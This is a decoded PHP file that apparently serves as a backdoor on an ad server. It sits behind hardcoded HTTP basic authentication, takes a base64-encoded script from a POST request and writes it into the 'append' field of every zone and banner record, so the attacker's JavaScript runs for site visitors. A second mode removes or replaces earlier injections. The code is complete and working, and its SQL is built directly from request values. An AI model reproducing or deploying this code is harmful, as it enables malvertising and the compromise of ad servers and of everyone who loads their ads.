PHP Decode

error_reporting(0);
//phpinfo();
$login = "tkas"; 
$pass = ""; 
$md5_pass = "a653b25a93fe8ac136af921bc32d9844"; 

if (!empty($login)) 
{ 
 if (empty($md5_pass)) {$md5_pass = md5($pass);} 
 if (($_SERVER["PHP_AUTH_USER"] != $login) or (md5($_SERVER["PHP_AUTH_PW"]) != $md5_pass)) 
 { 
  header("WWW-Authenticate: Basic realm=\"auth\""); 
  header("HTTP/1.0 401 Unauthorized"); 
  exit(""); 
 } 
}
$script=html_entity_decode(base64_decode($_POST['s']));
$del=$_POST['d'];
$old=$_POST['o'];



include("../../../../../init.php");
include("../../../../../../../../init.php");
include("../../../../../../init.php");
include("../../../../init.php");
include("../../init.php");
include("../../../init.php");

$dbh=mysql_connect($conf[database][host].":".$conf[database][port],$conf[database][username],$conf[database][password]);
 if (!$dbh) {
    $err_msg='Cannot connect to the database because: '.mysql_error();
    if (!$nodie) die($err_msg);
 }
if($del==1){
mysql_select_db($conf[database][name], $dbh) or die ('Can\'t use foo : ' . mysql_error());
$result = mysql_query("UPDATE `".$conf[table][prefix]."zones` SET `append` = '' WHERE append like '<script> var ".$old."=%';")  or die("Invalid query: " . mysql_error());
echo "Updated: ".mysql_affected_rows()." rows|";

$result = mysql_query("UPDATE `".$conf[table][prefix]."banners` SET `append` = '' WHERE append like '<script> var ".$old."=%';")  or die("Invalid query: " . mysql_error());
echo "Updated: ".mysql_affected_rows()." rows|";

}
else{
mysql_select_db($conf[database][name], $dbh) or die ('Can\'t use foo : ' . mysql_error());
$result = mysql_query("UPDATE `".$conf[table][prefix]."zones` SET `append` = '".$script."' WHERE append='' or append like '<script> var ".$old."=%';")  or die("Invalid query: " . mysql_error());
echo "Updated: ".mysql_affected_rows()." rows|";

$result = mysql_query("UPDATE `".$conf[table][prefix]."banners` SET `append` = '".$script."' WHERE append='' or append like '<script> var ".$old."=%';")  or die("Invalid query: " . mysql_error());
echo "Updated: ".mysql_affected_rows()." rows|";
}
mysql_close($dbh);